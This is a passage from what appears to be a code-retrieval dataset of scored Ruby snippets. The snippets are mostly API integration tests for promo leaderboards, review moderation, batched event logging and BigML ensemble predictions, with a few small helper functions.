assert_equal(\"#{listings[4]['Int_Xxid']}\".to_i, @parsed_response['int_xxid'])\n assert_equal(@user.id, @parsed_response['user_id'])\n assert_equal(@active_promo_id, @parsed_response['promo_id'])\n assert_equal('34567', @parsed_response['zip'])\n assert_equal(update_itl_points, @parsed_response['points'])\n assert_nil(@parsed_response['status'],\n \"Expected Status to be nil for initial itl update: #{@parsed_response['status']}\")\n refute_nil(@parsed_response['promo_user_team_ids'], @parsed_response) unless ENV['test_env'] == 'stage' # AS 5.0 ~ AS-7418\n\n calc_itl_points = ((update_itl_points.fdiv(my_teams.length)).ceil * my_teams.length)\n split_team_points = calc_itl_points.div(my_teams.length)\n\n # Step 5 (b)\n my_teams.push(@promo['TeamNames'].pop)\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params = { 'promo_id' => @active_promo_id }\n params['promo_teams'] = my_teams\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n # Step 6 (c)\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/leaderboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id , @parsed_response['promo']['id'])\n refute_empty(@parsed_response['leaderboard'])\n team_stats = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[0] }\n team_2_stats = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[1] }\n team_3_stats = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[2] }\n assert(team_stats, @parsed_response['leaderboard'])\n assert(team_2_stats, @parsed_response['leaderboard'])\n assert(team_3_stats, @parsed_response['leaderboard'])\n\n # Step 6 (d,g)\n ['approved', 'rejected'].each do |status|\n assign_http(Config['panda']['host'])\n\n params = {\n 'promo_id' => @active_promo_id,\n 'listing_improvement_ids' => itl_ids,\n 'status' => status\n }\n\n put '/pros/itl', params\n assert_response(@response, :success)\n\n # Step 6 (e,h)\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id, @parsed_response['promo']['id'])\n assert(@parsed_response['user_stats'])\n if status == 'approved'\n assert_equal((user_stats['contributed_points'] + calc_itl_points), @parsed_response['user_stats']['contributed_points'],\n \"Expected user contributed points #{(user_stats['contributed_points'] + calc_itl_points)} to equal: #{@parsed_response['user_stats']['contributed_points']}\")\n assert_equal((promo['contributed_points'] + calc_itl_points), @parsed_response['promo']['contributed_points'],\n \"Expected promo contributed points #{(promo['contributed_points'] + calc_itl_points)} to equal: #{@parsed_response['promo']['contributed_points']}\")\n else\n assert_equal(user_stats['contributed_points'], @parsed_response['user_stats']['contributed_points'],\n \"Expected user contributed points #{user_stats['contributed_points']} to equal: #{@parsed_response['user_stats']['contributed_points']}\")\n assert_equal(promo['contributed_points'], @parsed_response['promo']['contributed_points'],\n \"Expected promo contributed points #{promo['contributed_points']} to equal: #{@parsed_response['promo']['contributed_points']}\")\n end\n\n # Step 6 (f,i)\n get '/pros/leaderboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id , @parsed_response['promo']['id'])\n refute_empty(@parsed_response['leaderboard'])\n team_check = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[0] }\n team_2_check = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[1] }\n team_3_check = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[2] }\n refute_nil(team_check, @parsed_response['leaderboard'])\n refute_nil(team_2_check, @parsed_response['leaderboard'])\n refute_nil(team_3_check, @parsed_response['leaderboard'])\n if status == 'approved'\n assert_equal((team_stats['contributed_points'] + split_team_points), team_check['contributed_points'],\n \"Expected team contributed points #{(team_stats['contributed_points'] + split_team_points)} to equal: #{team_check['contributed_points']}\")\n assert_equal((team_2_stats['contributed_points'] + split_team_points), team_2_check['contributed_points'],\n \"Expected team contributed points #{(team_2_stats['contributed_points'] + split_team_points)} to equal: #{team_2_check['contributed_points']}\")\n assert_equal(team_3_stats['contributed_points'], team_3_check['contributed_points'],\n \"Expected team contributed points #{team_3_stats['contributed_points']} to equal: #{team_3_check['contributed_points']}\")\n else\n assert_equal(team_stats['contributed_points'], team_check['contributed_points'],\n \"Expected team contributed points #{team_stats['contributed_points']} to equal: #{team_check['contributed_points']}\")\n assert_equal(team_2_stats['contributed_points'], team_2_check['contributed_points'],\n \"Expected team contributed points #{team_2_stats['contributed_points']} to equal: #{team_2_check['contributed_points']}\")\n assert_equal(team_3_stats['contributed_points'], team_3_check['contributed_points'],\n \"Expected team contributed points #{team_3_stats['contributed_points']} to equal: #{team_3_check['contributed_points']}\")\n end\n end\n end",
"title": ""
},
{
"docid": "2cb227d1868aa4fef9ad4a4235ac987d",
"score": "0.5536987",
"text": "def printer(attendees)\n #list of badges here\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n #assigned rooms here\n assign_rooms(attendees).each do |roomThatsAssigned|\n puts roomThatsAssigned\n end\nend",
"title": ""
},
{
"docid": "236d78cbae2c634286bf740b545dabe0",
"score": "0.5532486",
"text": "def test_print_status_multiples\n\tassert_output(\"\\tFound 2 rubies and 3 fake rubies in Enumerated Canyon\\n\") {@g.print_status(2,3,\"Enumerated Canyon\")}\n end",
"title": ""
},
{
"docid": "b08543dc12c38edd67b8e5d9a2bc1107",
"score": "0.55254775",
"text": "def printer(attendees)\n batch_badge_creator(attendees).each do |both|\n puts both\n end\n assign_rooms(attendees).each do |both|\n puts both\n end\nend",
"title": ""
},
{
"docid": "6bb032917fcaf5b87b3bc125e981ed87",
"score": "0.55122644",
"text": "def test_moderator_rejects_review\n # Setup\n @user = setup_user\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params = { 'promo_id' => @active_promo_id }\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n # Step 1\n business_listings = get_promo_listings\n assert(business_listings.length > 1)\n\n # Step 2\n assign_http(Config['panda']['host'])\n\n count = 0\n business_listings.each do |business|\n break if count > 2\n\n params = {\n 'body' => 'This business is very business-like and I would do business with this business again if I have business with them.',\n 'source' => 'XX3',\n 'subject' => 'Review made by API',\n 'value' => rand(1..5),\n 'listing_id' => business['Int_Xxid'],\n 'oauth_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id\n }\n\n put '/usr/reviews', params\n assert_response(@response, :success)\n\n count += 1\n end\n\n # Step 3\n moderator_id = unique_moderator_id\n\n params = {\n 'promo_id' => @active_promo_id,\n 'moderator_id' => moderator_id,\n 'limit' => 1\n }\n\n put '/mod/reviews/assign', params\n assert_response(@response, :success)\n assert_equal(1, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_equal(moderator_id, review['ModeratorId'], @parsed_response)\n assert_equal(@active_promo_id, review['PromoId'], @parsed_response)\n end\n\n review = @parsed_response['Reviews'].first\n if review['Suppressed'] == 0\n status = 'rejected'\n suppressed_response = 1\n else\n status = 'approved'\n suppressed_response = 0\n end\n\n params = {\n 'id' => review['Id'],\n 'status' => status,\n 'moderator_id' => moderator_id\n }\n\n put '/mod/reviews', params\n assert_response(@response, :success)\n assert_equal(moderator_id, @parsed_response['Review']['ModeratorId'], @parsed_response)\n assert_equal(@active_promo_id, @parsed_response['Review']['PromoId'], @parsed_response)\n assert_equal(suppressed_response, @parsed_response['Review']['Suppressed'], @parsed_response)\n end",
"title": ""
},
{
"docid": "d5c69da74f99616fc2bafeda29c5fa90",
"score": "0.55046916",
"text": "def test_create_hit_type\n hit = Hit.new(\n :title => 'Test' + Time.now.to_i.to_s,\n :description => 'My Description',\n :rewardAmount => 0.9,\n :rewardCurrency => 'USD',\n :assignmentDurationInSeconds => 100,\n :keywords => 'test',\n :autoApprovalDelayInSeconds => 110)\n qualifications = [\n { :QualificationTypeId => '00000000000000000000', :Comparator => 'EqualTo', :IntegerValue => '0' },\n { :QualificationTypeId => '00000000000000000070', :Comparator => 'Exists' }\n ]\n \n # 1\n res = @m.create_hit_type(hit, qualifications)\n assert_not_nil res[:HITTypeId]\n assert_nil res[:Error]\n \n # 2\n res = @m.create_hit_type(hit, [])\n assert_not_nil res[:HITTypeId]\n assert_nil res[:Error]\n end",
"title": ""
},
{
"docid": "74010a368659f8e0190dce82aa8479ba",
"score": "0.54970455",
"text": "def test_add_batched_events()\n # Parameters for the API call\n body = JSON.parse('[{ \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:45:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:45:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"mndug437f43\", \t\t\t\t\t\"session_token\": \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t }, { \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:46:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:46:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"mndug437f43\", \t\t\t\t\t\"session_token\": \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t }, { \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:47:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:47:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"mndug437f43\", \t\t\t\t\t\"session_token\": \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t }, { \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:48:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:48:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"mndug437f43\", \t\t\t\t\t\"session_token\": \"exfzweachxjgznvKUYrxFcxv]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t }, { \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:49:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:49:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"mndug437f43\", \t\t\t\t\t\"session_token\": \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t }, { \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:50:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:50:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"recvreedfef\", \t\t\t\t\t\"session_token\": \"xcvkrjmcfghwuignrmcmhxdhaaezse4w]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t } ]').map{|element| EventModel.from_hash(element)}\n\n # Perform the API call through the SDK function\n self.class.controller.create_events_batch(body)\n\n # Test response code\n assert_equal(@response_catcher.response.status_code, 201)\n end",
"title": ""
},
{
"docid": "103756b873462a11d93335f7fbedc722",
"score": "0.5495629",
"text": "def run_hp_lspec(test_context, test_case_scene, test_run_expect, factory_to_be_exercised)\n context \"#{test_context}\" do\n let(:server_list_factory){ FactoryGirl.build(factory_to_be_exercised) }\n let(:command) { prepare_list_srv_cmd_hp_lspec(server_list_factory) }\n after(:each) {puts \"Test case completed!\"}\n context \"#{test_case_scene}\" do\n it \"#{test_run_expect[:status]}\" do\n match_status({:status => test_run_expect})\n end\n end\n end\nend",
"title": ""
},
{
"docid": "a8908c18b317b79f43cc2334c3d96a66",
"score": "0.5486326",
"text": "def test_scenario7\n data = [\n [File.dirname(__FILE__)+'/data/iris.csv', \n {},\n '000004',\n 'Iris-virginica',\n 0.33784,\n {\"boosting\" => {\"iterations\" => 5}},\n {}\n ],\n [File.dirname(__FILE__)+'/data/iris.csv', \n {},\n '000004',\n 'Iris-versicolor',\n 0.2923,#0.27261,\n {\"number_of_models\" => 5},\n {\"operating_kind\" => \"confidence\"}\n ],\n [File.dirname(__FILE__)+'/data/grades.csv', \n {},\n '000005',\n 70.505792,\n 30.7161,\n {\"number_of_models\" => 5},\n {}\n ],\n [File.dirname(__FILE__)+'/data/grades.csv', \n {\"Midterm\" => 20},\n '000005',\n 54.82214,\n 25.89672,\n {\"number_of_models\" => 5},\n {\"operating_kind\" => \"confidence\"}\n ],\n [File.dirname(__FILE__)+'/data/grades.csv', \n {\"Midterm\" => 20},\n '000005',\n 45.4573,\n 29.58403,\n {\"number_of_models\" => 5},\n {}\n ],\n [File.dirname(__FILE__)+'/data/grades.csv', \n {\"Midterm\" => 20, \"Tutorial\" => 90, \"TakeHome\" => 100},\n '000005',\n 42.814,\n 31.51804,\n {\"number_of_models\" => 5},\n {}\n ]\n ]\n puts\n puts \"Scenario: Successfully comparing predictions for ensembles with proportional missing strategy\"\n\n data.each do |filename, data_input, objective, prediction_result, confidence, params, args|\n params.merge!({'seed' => 'BigML', 'ensemble_sample' => {\"rate\" => 0.7, \"seed\"=> 'BigML'}})\n \n args.merge!({\"missing_strategy\" => 1})\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create a dataset\"\n [email protected]_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create an ensemble with <%s>\" % JSON.generate(params)\n ensemble = @api.create_ensemble(dataset, params)\n \n puts \"And I wait until the ensemble is ready\"\n assert_equal(BigML::HTTP_CREATED, ensemble[\"code\"])\n assert_equal(1, ensemble[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(ensemble), true)\n \n puts \"And I create a local ensemble\"\n local_ensemble = BigML::Ensemble.new(ensemble, @api)\n local_model = BigML::Model.new(local_ensemble.model_ids[0], @api)\n \n puts \"When I create a proportional missing strategy prediction for <%s>\" % JSON.generate(data_input)\n \n prediction = @api.create_prediction(ensemble, data_input, args)\n \n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n assert_equal(@api.ok(prediction), true)\n \n puts \"Then the prediction for <%s> is <%s>\" % [objective, prediction_result]\n assert_equal(prediction['object']['prediction'][objective].to_f.round(4), prediction_result.to_f.round(4))\n \n puts \"And the confidence for the prediction is <%s>\" % confidence\n \n local_confidence = prediction['object'].key?('confidence') ? \n prediction['object']['confidence'] : \n prediction['object']['probability']\n \n assert_equal(local_confidence.to_f.round(4), confidence.round(4))\n \n puts \"And I create a proportional missing strategy local prediction for <%s>\" % JSON.generate(data_input)\n local_prediction = local_ensemble.predict(data_input, args.merge({\"full\" => true, \"missing_strategy\"=> 1}))\n \n puts \"Then the local prediction is <%s>\" % prediction_result\n \n if local_prediction.is_a?(Array)\n prediction = local_prediction[0]\n elsif 